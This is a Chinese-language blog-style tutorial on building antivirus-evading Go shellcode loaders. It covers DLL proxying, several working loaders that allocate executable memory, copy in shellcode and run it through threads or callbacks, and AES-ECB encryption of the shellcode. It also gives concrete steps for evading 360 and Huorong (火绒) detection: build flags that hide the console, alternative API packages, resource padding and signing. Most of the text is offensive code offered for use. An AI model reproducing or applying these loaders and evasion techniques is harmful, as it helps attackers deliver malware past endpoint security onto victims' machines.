**DLL代理:**程序要调用xxx.dll,攻击者创建了一个黑dll,名字也叫做xxx.dll,这个黑dll文件会接受程序的调用,先执行一些恶意代码,然后这个黑dll再调用真正的xxx.dll完成原视操作。
利用郑神自研工具:https://github.com/l1uyi/autoDllProxy
Go语言免杀Go调用Windows api1234567891011121314151617181920212223242526272829303132333435package mainimport ( "syscall" "unsafe")func main() { //1、MustLoadDLL方法 -> 加载Kernel32.dll kernel32 := syscall.MustLoadDLL("kernel32.dll") //2、MustFindProc -> 获取Windows api地址 VirtualAlloc := kernel32.MustFindProc("VirtualAlloc") RtlMoveMemory := kernel32.MustFindProc("RtlMoveMemory") CreateThread := kernel32.MustFindProc("CreateThread") WaitForSingleObject := kernel32.MustFindProc("WaitForSingleObject") //弹计算器shellcode buf := []byte{0xfc, 0x48, 0x83, ...} //3、申请内存,通过函数名.Call调用 addr, _, _ := VirtualAlloc.Call(0, uintptr(len(buf)), 0x1000|0x2000, 0x40) //4、复制buf到申请的内存中 RtlMoveMemory.Call(addr, (uintptr)(unsafe.Pointer(&buf[0])), uintptr(len(buf))) //5、创建线程 thread, _, _ := CreateThread.Call(0, 0, addr, 0, 0, 0) //6、等待线程创建 WaitForSingleObject.Call(thread, 0xFFFFFFFF) //关闭 kernel32.dll kernel32.Release()}
uinptruinptr不是指针,而是一个可以”装下指针地址的整数”,是为了和操作系统底层操作而设计的。
为什么返回3个参数Call方法如下所示:
123func (p *Proc) Call(a ...uintptr) (uintptr, uintptr, error) { return SyscallN(p.Addr(), a...)}
返回三个参数,第一个返回参数p.Addr()为Windows api地址
Go编写shellcode加载器Go语言编译1go build main.go -o exp.exe
-o:指定输出文件名
减少体积编译(推荐使用)
1go build -ldflags="-w -s" -o shellcode.exe main.go
-w:禁用调试信息生成
-s:禁用符号表
隐藏CMD黑窗口(360会误杀)
1go build -ldflags="-w -s -H windowsgui" -o shellcode.exe main.go
-H windowgui:隐藏CMD黑窗口
隐藏源码路径信息
1go build -o shellcode.exe -ldflags="-w -s" -trimpath main.go
Go编译一个程序时,会把编译器生成的源码路径,如 /home/user/project/main.go浅入到可执行文件中。
当反编译xxx.exe时,就会看到/home/user/免杀项目/main.go,可能会导致信息泄露,特征命中
-trimpath:隐藏源码路径信息
创建线程执行123456789101112131415161718192021222324252627282930313233package mainimport ( "syscall" "unsafe")func main() { //1、MustLoadDLL方法 -> 加载Kernel32.dll kernel32 := syscall.MustLoadDLL("kernel32.dll") //2、MustFindProc -> 获取Windows api VirtualAlloc := kernel32.MustFindProc("VirtualAlloc") RtlMoveMemory := kernel32.MustFindProc("RtlMoveMemory") CreateThread := kernel32.MustFindProc("CreateThread") WaitForSingleObject := kernel32.MustFindProc("WaitForSingleObject") buf := []byte{0xe8, 0xa0, 0x03, ...} //3、申请内存,通过函数名.Call调用 addr, _, _ := VirtualAlloc.Call(0, uintptr(len(buf)), 0x1000|0x2000, 0x40) //4、复制buf到申请的内存中 RtlMoveMemory.Call(addr, (uintptr)(unsafe.Pointer(&buf[0])), uintptr(len(buf))) //5、创建线程 thread, _, _ := CreateThread.Call(0, 0, addr, 0, 0, 0) //6、等待线程创建 WaitForSingleObject.Call(thread, 0xFFFFFFFF) //关闭 kernel32.dll kernel32.Release()}
回调函数运行1234567891011121314151617181920212223242526272829package mainimport ( "syscall" "unsafe")func main() { //1、MustLoadDLL方法 -> 加载Kernel32.dll kernel32 := syscall.MustLoadDLL("kernel32.dll") //2、MustFindProc -> 获取Windows api VirtualAlloc := kernel32.MustFindProc("VirtualAlloc") RtlMoveMemory := kernel32.MustFindProc("RtlMoveMemory") CreateThread := kernel32.MustFindProc("CreateThread") WaitForSingleObject := kernel32.MustFindProc("WaitForSingleObject") buf := []byte{0xe8, 0xa0, 0x03, ...} //3、申请内存,通过函数名.Call调用 addr, _, _ := VirtualAlloc.Call(0, uintptr(len(buf)), 0x1000|0x2000, 0x40) //4、复制buf到申请的内存中 RtlMoveMemory.Call(addr, (uintptr)(unsafe.Pointer(&buf[0])), uintptr(len(buf))) //5、回调函数运行 EnumDateFormatsA.Call(addr, 0, 0) kernel32.Release()}
本地分离1234567891011121314151617181920212223package mainimport ( "fmt" "os" "syscall" "unsafe")func main() { byteSlice, err := os.ReadFile("pd_x64.ini") if err != nil { fmt.Println("config file is not exist") return } kernel32 := syscall.MustLoadDLL("kernel32.dll") RtlCopyMemory := kernel32.MustFindProc("RtlCopyMemory") VirtualAlloc := kernel32.MustFindProc("VirtualAlloc") addr, _, _ := VirtualAlloc.Call(0, uintptr(len(byteSlice)), 0x1000, 0x40) RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&byteSlice[0])), uintptr(len(byteSlice))) syscall.Syscall(addr, 0, 0, 0, 0)}
注意
1"github.com/spf13/cobra"
已经成为了默认查杀点,所以需要去掉
关闭黑窗口编译参数消除黑框
1-H windowsgui
写函数消除黑框
360会杀这种写法
123456789101112131415import "github.com/gonutz/ide/w32"func closeWindows(commandShow uintptr) { console := w32.GetConsoleWindow() if console != 0 { _, consoleProcID := w32.GetWindowThreadProcessId(console) if w32.GetCurrentProcessId() == consoleProcID { w32.ShowWindowAsync(console, commandShow) } }}func main() { closeWindows(w32.SW_HIDE)}
调用windows api,Win10/Win11
123456789101112var( kernel32 = syscall.MustLoadDLL("kernel32.dll") procFreeConsole = kernel32.MustFindProc("FreeConsole"))func HideConsoleWindow() { procFreeConsole.Call()}func main() { HideConsoleWindow()}
360免杀绕过需要知道报QVM错误代表文件结构有问题,而非代码有问题
在360安全卫士【安全操作中心】-> 【上报记录】中可以查看云传检查结果
如图所示,云传结果通常有3种,”木马病毒”、”低风险”、”未发现风险”
其中”低风险”基本可以等效于”永久免杀”
而”未发现风险”依然有可能被杀,只是时间问题。
首先要确认免杀思路,一是”.exe”的问题(即编译参数、签名、资源信息等),二是代码本身的问题。
.exe层面免杀(1) 编译参数
使用工具 CheckGoBuild,使用10中不同的参数进行编译,看哪些会被杀,代码使用打印hello world
“-race”和”-ldflags= -H windowsgui”这两个编译参数可能会被360查杀
推荐使用的编译参数如下
1go build -o main.exe -ldflags="-w -s" -trimpath main.go
测试去除黑框代码,360不报毒如下所示
1234567891011import "github.com/gonutz/ide/w32"func closeWindows(commandShow uintptr) { console := w32.GetConsoleWindow() if console != 0 { _, consoleProcID := w32.GetWindowThreadProcessId(console) if w32.GetCurrentProcessId() == consoleProcID { w32.ShowWindowAsync(console, commandShow) } }}
(2) 其他因素
加签名、加资源文件、加壳、控制熵值等等。
代码层面免杀(1) 调用windows api的包
之前用的是 syscall 包来调用 windows api
123456789import ( "syscall")func main() { kernel32 := syscall.MustLoadDLL("kernel32.dll") VirtualAlloc := kernel32.MustFindProc("VirtualAlloc") VirtualAlloc.Call() kernel32.Release()}
若 syscall 被查杀,可以换成另一个包 golang.org/x/sys/windows
123456789import ( "golang.org/x/sys/windows")func main() { kernel32 := windows.MustLoadDLL("kernel32.dll") VirtualAlloc := kernel32.MustFindProc("VirtualAlloc") VirtualAlloc.Call()}
(2) 加载DLL的方法
除了 MustLoadDLL,还有 NewLazyDLL方法可以使用
123MustLoadDLL 和 NewLazyDLL 的区别:1、返回类型不一样:一个指向 DLL 结构体的指针, 一个指向 LazyDLL 结构体的指针2、加载时间不一样:MustLoadDLL 在程序启动时就需要加载并使用 DLL, NewLazyDLL 惰性加载, 在程序运行时调用 DLL 函数时才加载 DLL 文件
MustLoadDLL已经被常见杀软标记特征,所以推荐使用 NewLazyDLL
1234567891011121314import ( "syscall" "unsafe")func main() { kernel32 := syscall.NewLazyDLL("kernel32.dll") VirtualAlloc := kernel32.NewProc("VirtualAlloc") RtlMoveMemory := kernel32.NewProc("RtlMoveMemory") buf := []byte{0xe8, 0xa0, 0x03...} addr, _, _ := VirtualAlloc.Call(0, uintptr(len(buf)), 0x1000|0x2000, 0x40) RtlMoveMemory.Call(addr, (uintptr)(unsafe.Pointer(&buf[0])), uintptr(len(buf))) syscall.Syscall(addr, 0, 0, 0, 0)}
制作360免杀马shellcode,尝试sgn + aes加密
aes加密代码
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100package mainimport ( "bytes" "crypto/aes" "fmt")func AesEncryptByECB(data []byte, key string) ([]byte, error) { // 判断 key 长度 keyLenMap := map[int]struct{}{16: {}, 24: {}, 32: {}} if _, ok := keyLenMap[len(key)]; !ok { return nil, fmt.Errorf("invalid key length") } // 将 key 转为 []byte keyByte := []byte(key) // 创建密码组,长度只能是 16、24、32 字节 block, err := aes.NewCipher(keyByte) if err != nil { return nil, err } // 获取密钥长度 blockSize := block.BlockSize() // 补码 originByte := PKCS7Padding(data, blockSize) // 创建保存加密结果的变量 encryptResult := make([]byte, len(originByte)) // ECB 是把整个明文分成若干段相同的小段,然后对每一小段进行加密 for bs, be := 0, blockSize; bs < len(originByte); bs, be = bs+blockSize, be+blockSize { block.Encrypt(encryptResult[bs:be], originByte[bs:be]) } return encryptResult, nil}// 补码func PKCS7Padding(originByte []byte, blockSize int) []byte { // 计算补码长度 padding := blockSize - len(originByte)%blockSize // 生成补码 padText := bytes.Repeat([]byte{byte(padding)}, padding) // 追加补码 return append(originByte, padText...)}func AesDecryptByECB(data []byte, key string) ([]byte, error) { // 判断 key 长度 keyLenMap := map[int]struct{}{16: {}, 24: {}, 32: {}} if _, ok := keyLenMap[len(key)]; !ok { } // 密钥转为 []byte keyByte := []byte(key) // 创建密码组,长度只能是 16、24、32 字节 block, err := aes.NewCipher(keyByte) if err != nil { return nil, err } // 获取密钥长度 blockSize := block.BlockSize() // 反解密码 base64 originByte := data // 创建保存解密变量 decrypted := make([]byte, len(originByte)) for bs, be := 0, blockSize; bs < len(originByte); bs, be = bs+blockSize, be+blockSize { block.Decrypt(decrypted[bs:be], originByte[bs:be]) } // 解码 return PKCS7UNPadding(decrypted), nil}// 解码func PKCS7UNPadding(originDataByte []byte) []byte { length := len(originDataByte) unpadding := int(originDataByte[length-1]) return originDataByte[:(length - unpadding)]}func main() { // 1-255 key := "1234567890abcdef" shellcode := []byte{0xe8, 0xa0, 0x03...} // 加密消息 encrypted, _ := AesEncryptByECB(shellcode, key) hexData := "" for _, b := range encrypted { hexData += fmt.Sprintf("0x%02x,", b) } // 移除末尾的逗号和空格 hexData = hexData[:len(hexData)-1] // 打印16进制数据 fmt.Printf("加密后的消息:\n%s", hexData) // 解密消息 decrypted, _ := AesDecryptByECB(encrypted, key) dhexData := "" for _, b := range decrypted { dhexData += fmt.Sprintf("0x%02x,", b) } // 移除末尾的逗号和空格 dhexData = dhexData[:len(dhexData)-1] // 打印16进制数据 fmt.Printf("解密后的消息:\n%s", dhexData)}
写加载器
12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364package mainimport ( "crypto/aes" "syscall" "unsafe")const ( MEM_COMMIT = 0x1000 PAGE_EXECUTE_READWRITE = 0x40)func AesDecryptByECB(data []byte, key string) ([]byte, error) { // 判断 key 长度 keyLenMap := map[int]struct{}{16: {}, 24: {}, 32: {}} if _, ok := keyLenMap[len(key)]; !ok { } // 密钥转为 []byte keyByte := []byte(key) // 创建密码组,长度只能是 16、24、32 字节 block, err := aes.NewCipher(keyByte) if err != nil { return nil, err } // 获取密钥长度 blockSize := block.BlockSize() // 反解密码 base64 originByte := data // 创建保存解密变量 decrypted := make([]byte, len(originByte)) for bs, be := 0, blockSize; bs < len(originByte); bs, be = bs+blockSize, be+blockSize { block.Decrypt(decrypted[bs:be], originByte[bs:be]) } // 解码 return PKCS7UNPadding(decrypted), nil}// 解码func PKCS7UNPadding(originDataByte []byte) []byte { length := len(originDataByte) unpadding := int(originDataByte[length-1]) return originDataByte[:(length - unpadding)]}func main() { // 1.加载kernel32.dll kernel32 := syscall.MustLoadDLL("kernel32.dll") // 2.获取windows api VirtualAlloc := kernel32.MustFindProc("VirtualAlloc") RtlCopyMemory := kernel32.MustFindProc("RtlCopyMemory") CreateThread := kernel32.MustFindProc("CreateThread") WaitForSingleObject := kernel32.MustFindProc("WaitForSingleObject") encrypted := []byte{0xaa, 0x85, 0x9d, ...} key := "1234567890abcdef" shellcode_buf, _ := AesDecryptByECB(encrypted, key) addr, _, _ := VirtualAlloc.Call(0, uintptr(len(shellcode_buf)), MEM_COMMIT, 0x40) RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode_buf[0])), uintptr(len(shellcode_buf))) h, _, _ := CreateThread.Call(0, 0, addr, 0, 0, 0) WaitForSingleObject.Call(h, 0xfffffff) // 7.关闭 DLL kernel32.Release()}
先使用bypassQVM工具添加资源文件信息
1python QVM250.py -d test -n 10
然后加签名即可
反反复复尝试了很多使用Go写的变形免杀马,只能达到”未发现风险”的效果而非”低风险”,之后是否还要用Go还有待考量。
火绒免杀绕过火绒的免杀相比360就比较鸡肋了。火绒不杀 “-H windowsgui”
所以可以直接一把梭命令编译
1go build -o ceshi.exe -ldflags="-w -s -H windowsgui" -trimpath main.go
sss火绒查杀点(1) shellcode特征,这个sgn/aes这种强加密可以直接过掉
(2) 函数参数,如 0x1000|0x2000 需要替换为 0x1000
创建线程执行即可免杀,代码如上所示,不做赘述。
经过测试,发现火绒还查杀 VirtualAlloc.Call中的参数,直接写0x1000就好
0x1000|0x2000:先预留一段内存,再提交内存
0x1000:直接提交内存